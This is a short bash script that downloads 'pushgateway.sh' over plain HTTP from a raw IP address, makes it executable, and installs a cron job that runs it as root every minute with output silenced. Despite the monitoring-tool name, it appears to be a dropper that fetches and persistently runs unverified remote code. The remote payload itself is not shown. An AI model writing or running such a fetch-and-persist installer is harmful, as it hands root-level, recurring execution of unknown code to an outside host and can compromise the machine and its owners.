#!/bin/bash mkdir -p /shell /var/script curl -sL http://1.116.235.157:1080/shell/pushgateway.sh >/shell/pushgateway.sh chmod +x /shell/pushgateway.sh echo -e '* * * * * root /shell/pushgateway.sh > /dev/null 2>&1' >/etc/cron.d/pushgateway